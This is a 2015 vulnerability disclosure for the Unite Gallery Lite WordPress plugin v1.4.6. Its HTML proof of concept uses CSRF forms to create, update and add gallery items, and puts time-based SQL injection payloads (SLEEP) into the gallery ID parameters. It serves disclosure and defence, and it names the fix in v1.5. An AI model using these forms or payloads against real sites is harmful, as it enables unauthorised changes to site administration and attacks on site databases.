WordPress Plugin Unite Gallery Lite 1.4.6 – Multiple Vulnerabilities

  • 作者: Nitin Venkatesh
    日期: 2015-07-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37705/
  • # Title: Cross-Site Request Forgery & SQL Injection Vulnerabilities in Unite Gallery Lite WordPress Plugin v1.4.6
    # Submitter: Nitin Venkatesh
    # Product: Unite Gallery Lite WordPress Plugin
    # Product URL: https://wordpress.org/plugins/unite-gallery-lite/
    # Vulnerability Type: Cross-site Request Forgery [CWE-352], Improper
    Neutralization of Special Elements used in an SQL Command ('SQL
    Injection')[CWE-89]
    # Affected Versions: v1.4.6 and possibly below.
    # Tested versions: v1.4.6
    # Fixed Version: v1.5
    # Link to code diff: https://plugins.trac.wordpress.org/changeset/1178586/unite-gallery-lite
    # Changelog: https://wordpress.org/plugins/unite-gallery-lite/changelog/
    # CVE Status: New & Unassigned
    
    ## Product Information:
    
    The Unite Gallery is all in one image and video gallery for WordPress.
    
    ## Vulnerability Description:
    
    The admin forms of the Unite Gallery Lite WordPress Plugin are susceptible
    to CSRF. Additionally, the following parameters were found to be
    susceptible to SQLi -
    
    Form submitted to /wp-admin/admin-ajax.php:
    - data[galleryID]
    
    Form submitted to /wp-admin/admin.php:
    - galleryid
    - id
    
    ## Proof of Concept:
    
    <!DOCTYPE html>
    <html>
    <head>
    <title>CSRF + SQLi in Unite Gallery Lite WordPress Plugin v1.4.6</title>
    </head>
    <body>
    <h1>CSRF + SQLi in Unite Gallery Lite WordPress Plugin v1.4.6</h1>
    <p>CSRF - Create Gallery</p>
    <form action="http://localhost/wp-admin//admin-ajax.php" method="post">
    <input type="hidden" name="action" value='unitegallery_ajax_action' />
    <input type="hidden" name="client_action" value='create_gallery' />
    <input type="hidden" name="gallery_type" value='ug-carousel' />
    <input type="hidden" name="data[main][title]" value='test 2' />
    <input type="hidden" name="data[main][alias]" value='test2' />
    <input type="hidden" name="data[main][category]" value='new' />
    <input type="hidden" name="data[main][full_width]" value='true' />
    <input type="hidden" name="data[main][gallery_width]" value='1000' />
    <input type="submit" value="submit" />
    </form>
    
    <p>CSRF + SQLi - Update Gallery</p>
    <form action="http://localhost/wp-admin//admin-ajax.php" method="post">
    <input type="hidden" name="action" value='unitegallery_ajax_action' />
    <input type="hidden" name="client_action" value='update_gallery' />
    <input type="hidden" name="gallery_type" value='ug-carousel' />
    <input type="hidden" name="data[main][title]" value='test 2' />
    <input type="hidden" name="data[main][alias]" value='test2' />
    <input type="hidden" name="data[main][shortcode]" value='[unitegallery
    test2]' />
    <input type="hidden" name="data[main][category]" value='3' />
    <input type="hidden" name="data[main][full_width]" value='true' />
    <input type="hidden" name="data[main][gallery_width]" value='1000' />
    <input type="hidden" name="data[main][gallery_min_width]" value='150' />
    <input type="hidden" name="data[params][tile_width]" value='160' />
    <input type="hidden" name="data[params][tile_height]" value='160' />
    <input type="hidden" name="data[params][theme_gallery_padding]" value='0' />
    <input type="hidden" name="data[params][theme_carousel_align]"
    value='center' />
    <input type="hidden" name="data[params][theme_carousel_offset]" value='0' />
    <input type="hidden" name="data[params][gallery_shuffle]" value='false' />
    <input type="hidden" name="data[params][tile_image_resolution]"
    value='medium' />
    <input type="hidden" name="data[params][carousel_padding]" value='8' />
    <input type="hidden" name="data[params][carousel_space_between_tiles]"
    value='20' />
    <input type="hidden" name="data[params][carousel_scroll_duration]"
    value='500' />
    <input type="hidden" name="data[params][carousel_scroll_easing]"
    value='easeOutCubic' />
    <input type="hidden" name="data[params][carousel_autoplay]" value='true' />
    <input type="hidden" name="data[params][carousel_autoplay_timeout]"
    value='3000' />
    <input type="hidden" name="data[params][carousel_autoplay_direction]"
    value='right' />
    <input type="hidden" name="data[params][carousel_autoplay_pause_onhover]"
    value='true' />
    <input type="hidden" name="data[params][theme_enable_navigation]"
    value='true' />
    <input type="hidden" name="data[params][theme_navigation_enable_play]"
    value='true' />
    <input type="hidden" name="data[params][theme_navigation_align]"
    value='center' />
    <input type="hidden" name="data[params][theme_navigation_offset_hor]"
    value='0' />
    <input type="hidden" name="data[params][theme_navigation_position]"
    value='bottom' />
    <input type="hidden" name="data[params][theme_navigation_margin]"
    value='20' />
    <input type="hidden" name="data[params][theme_space_between_arrows]"
    value='5' />
    <input type="hidden" name="data[params][carousel_navigation_numtiles]"
    value='3' />
    <input type="hidden" name="data[params][position]" value='center' />
    <input type="hidden" name="data[params][margin_top]" value='0' />
    <input type="hidden" name="data[params][margin_bottom]" value='0' />
    <input type="hidden" name="data[params][margin_left]" value='0' />
    <input type="hidden" name="data[params][margin_right]" value='0' />
    <input type="hidden" name="data[params][tile_enable_action]" value='true' />
    <input type="hidden" name="data[params][tile_as_link]" value='false' />
    <input type="hidden" name="data[params][tile_link_newpage]" value='true' />
    <input type="hidden" name="data[params][tile_enable_border]" value='true' />
    <input type="hidden" name="data[params][tile_border_width]" value='3' />
    <input type="hidden" name="data[params][tile_border_color]" value='#f0f0f0'
    />
    <input type="hidden" name="data[params][tile_border_radius]" value='0' />
    <input type="hidden" name="data[params][tile_enable_outline]" value='true'
    />
    <input type="hidden" name="data[params][tile_outline_color]"
    value='#8b8b8b' />
    <input type="hidden" name="data[params][tile_enable_shadow]" value='false'
    />
    <input type="hidden" name="data[params][tile_shadow_h]" value='1' />
    <input type="hidden" name="data[params][tile_shadow_v]" value='1' />
    <input type="hidden" name="data[params][tile_shadow_blur]" value='3' />
    <input type="hidden" name="data[params][tile_shadow_spread]" value='2' />
    <input type="hidden" name="data[params][tile_shadow_color]" value='#8b8b8b'
    />
    <input type="hidden" name="data[params][tile_enable_image_effect]"
    value='false' />
    <input type="hidden" name="data[params][tile_image_effect_type]" value='bw'
    />
    <input type="hidden" name="data[params][tile_image_effect_reverse]"
    value='false' />
    <input type="hidden" name="data[params][tile_enable_overlay]" value='true'
    />
    <input type="hidden" name="data[params][tile_overlay_opacity]" value='0.4'
    />
    <input type="hidden" name="data[params][tile_overlay_color]"
    value='#000000' />
    <input type="hidden" name="data[params][tile_enable_icons]" value='true' />
    <input type="hidden" name="data[params][tile_show_link_icon]" value='false'
    />
    <input type="hidden" name="data[params][tile_space_between_icons]"
    value='26' />
    <input type="hidden" name="data[params][tile_enable_textpanel]"
    value='false' />
    <input type="hidden" name="data[params][tile_textpanel_source]"
    value='title' />
    <input type="hidden" name="data[params][tile_textpanel_always_on]"
    value='false' />
    <input type="hidden" name="data[params][tile_textpanel_appear_type]"
    value='slide' />
    <input type="hidden" name="data[params][tile_textpanel_padding_top]"
    value='8' />
    <input type="hidden" name="data[params][tile_textpanel_padding_bottom]"
    value='8' />
    <input type="hidden" name="data[params][tile_textpanel_padding_left]"
    value='11' />
    <input type="hidden" name="data[params][tile_textpanel_padding_right]"
    value='11' />
    <input type="hidden" name="data[params][tile_textpanel_bg_color]"
    value='#000000' />
    <input type="hidden" name="data[params][tile_textpanel_bg_opacity]"
    value='0.6' />
    <input type="hidden" name="data[params][tile_textpanel_title_color]"
    value='#ffffff' />
    <input type="hidden" name="data[params][tile_textpanel_title_text_align]"
    value='left' />
    <input type="hidden" name="data[params][tile_textpanel_title_font_size]"
    value='14' />
    <input type="hidden" name="data[params][tile_textpanel_title_bold]"
    value='true' />
    <input type="hidden" name="data[params][lightbox_type]" value='wide' />
    <input type="hidden" name="data[params][lightbox_hide_arrows_onvideoplay]"
    value='true' />
    <input type="hidden" name="data[params][lightbox_slider_control_zoom]"
    value='true' />
    <input type="hidden" name="data[params][gallery_mousewheel_role]"
    value='zoom' />
    <input type="hidden" name="data[params][lightbox_overlay_opacity]"
    value='1' />
    <input type="hidden" name="data[params][lightbox_overlay_color]"
    value='#000000' />
    <input type="hidden" name="data[params][lightbox_top_panel_opacity]"
    value='0.4' />
    <input type="hidden" name="data[params][lightbox_show_numbers]"
    value='true' />
    <input type="hidden" name="data[params][lightbox_numbers_size]" value='14'
    />
    <input type="hidden" name="data[params][lightbox_numbers_color]"
    value='#e5e5e5' />
    <input type="hidden" name="data[params][lightbox_show_textpanel]"
    value='true' />
    <input type="hidden" name="data[params][lightbox_textpanel_width]"
    value='550' />
    <input type="hidden" name="data[params][lightbox_textpanel_source]"
    value='title' />
    <input type="hidden" name="data[params][lightbox_textpanel_title_color]"
    value='#e5e5e5' />
    <input type="hidden"
    name="data[params][lightbox_textpanel_title_text_align]" value='left' />
    <input type="hidden"
    name="data[params][lightbox_textpanel_title_font_size]" value='14' />
    <input type="hidden" name="data[params][lightbox_textpanel_title_bold]"
    value='false' />
    <input type="hidden" name="data[params][lightbox_compact_overlay_opacity]"
    value='0.6' />
    <input type="hidden" name="data[params][lightbox_compact_overlay_color]"
    value='#000000' />
    <input type="hidden" name="data[params][lightbox_arrows_position]"
    value='sides' />
    <input type="hidden" name="data[params][lightbox_arrows_inside_alwayson]"
    value='false' />
    <input type="hidden" name="data[params][lightbox_compact_show_numbers]"
    value='true' />
    <input type="hidden" name="data[params][lightbox_compact_numbers_size]"
    value='14' />
    <input type="hidden" name="data[params][lightbox_compact_numbers_color]"
    value='#e5e5e5' />
    <input type="hidden"
    name="data[params][lightbox_compact_numbers_padding_top]" value='7' />
    <input type="hidden"
    name="data[params][lightbox_compact_numbers_padding_right]" value='5' />
    <input type="hidden" name="data[params][lightbox_compact_show_textpanel]"
    value='true' />
    <input type="hidden" name="data[params][lightbox_compact_textpanel_source]"
    value='title' />
    <input type="hidden"
    name="data[params][lightbox_compact_textpanel_title_color]" value='#e5e5e5'
    />
    <input type="hidden"
    name="data[params][lightbox_compact_textpanel_title_font_size]" value='14'
    />
    <input type="hidden"
    name="data[params][lightbox_compact_textpanel_title_bold]" value='false' />
    <input type="hidden"
    name="data[params][lightbox_compact_textpanel_padding_top]" value='5' />
    <input type="hidden"
    name="data[params][lightbox_compact_textpanel_padding_left]" value='10' />
    <input type="hidden"
    name="data[params][lightbox_compact_textpanel_padding_right]" value='10' />
    <input type="hidden"
    name="data[params][lightbox_compact_slider_image_border]" value='true' />
    <input type="hidden"
    name="data[params][lightbox_compact_slider_image_border_width]" value='10'
    />
    <input type="hidden"
    name="data[params][lightbox_compact_slider_image_border_color]"
    value='#ffffff' />
    <input type="hidden"
    name="data[params][lightbox_compact_slider_image_border_radius]" value='0'
    />
    <input type="hidden"
    name="data[params][lightbox_compact_slider_image_shadow]" value='true' />
    <input type="hidden" name="data[params][include_jquery]" value='true' />
    <input type="hidden" name="data[params][js_to_body]" value='false' />
    <input type="hidden" name="data[params][compress_output]" value='false' />
    <input type="hidden" name="data[params][gallery_debug_errors]"
    value='false' />
    
    <!-- SQLi -->
    <input type="hidden" name="data[galleryID]" value='1 AND (SELECT * FROM
    (SELECT(SLEEP(5)))rock)' />
    <input type="submit" value="submit" />
    </form>
    
    <p>CSRF - Add Items</p>
    <form action="http://localhost/wp-admin/admin-ajax.php" method="post">
    <input type="hidden" name="action" value='unitegallery_ajax_action' />
    <input type="hidden" name="client_action" value='add_item' />
    <input type="hidden" name="gallery_type" value='' />
    <input type="hidden" name="data[type]" value='html5video' />
    <input type="hidden" name="data[title]" value='test' />
    <input type="hidden" name="data[description]" value='' />
    <input type="hidden" name="data[urlImage]" value='' />
    <input type="hidden" name="data[urlThumb]" value='' />
    <input type="hidden" name="data[urlVideo_mp4]" value='
    http://video-js.zencoder.com/oceans-clip.mp4' />
    <input type="hidden" name="data[urlVideo_webm]" value='
    http://video-js.zencoder.com/oceans-clip.webm' />
    <input type="hidden" name="data[urlVideo_ogv]" value='
    http://video-js.zencoder.com/oceans-clip.ogv' />
    <input type="hidden" name="data[catID]" value='4' />
    <input type="submit" value="submit" />
    </form>
    
    <p>CSRF + SQLi - Retrieve Items (Edit Settings - Items Tab)</p>
    <form action="http://localhost/wp-admin/admin-ajax.php" method="post">
    <input type="hidden" name="action" value='unitegallery_ajax_action' />
    <input type="hidden" name="client_action" value='get_cat_items' />
    <input type="hidden" name="gallery_type" value='ug-carousel' />
    <input type="hidden" name="data[catID]" value='3' />
    
    <!-- SQLi -->
    <input type="hidden" name="data[galleryID]" value='1 AND (SELECT * FROM
    (SELECT(SLEEP(5)))rock)' />
    <input type="submit" value="submit" />
    </form>
    
    <p> CSRF + SQLi - Action buttons</p>
    <ul>
    <li>
    <a href="https://www.exploit-db.com/exploits/37705/
    http://localhost/wp-admin/admin.php?page=unitegallery&view=items&galleryid=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
    ">
    http://localhost/wp-admin/admin.php?page=unitegallery&view=items&galleryid=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
    </a></li>
    <li>
    <a href="https://www.exploit-db.com/exploits/37705/
    http://localhost/wp-admin/admin.php?page=unitegallery&view=preview&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
    ">
    http://localhost/wp-admin/admin.php?page=unitegallery&view=preview&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))rock)
    </a>
    </li>
    </ul>
    </body>
    </html>
    
    ## Solution:
    
    Upgrade to v1.5 or higher
    
    ## Disclosure Timeline:
    
    2015-06-06 - Discovered. Reported to developer.
    2015-06-10 - Updated version released.
    2015-07-25 - Publishing disclosure on FD mailing list
    
    ## Disclaimer:
    
    This disclosure is purely meant for educational purposes. I will in no way
    be responsible as to how the information in this disclosure is used.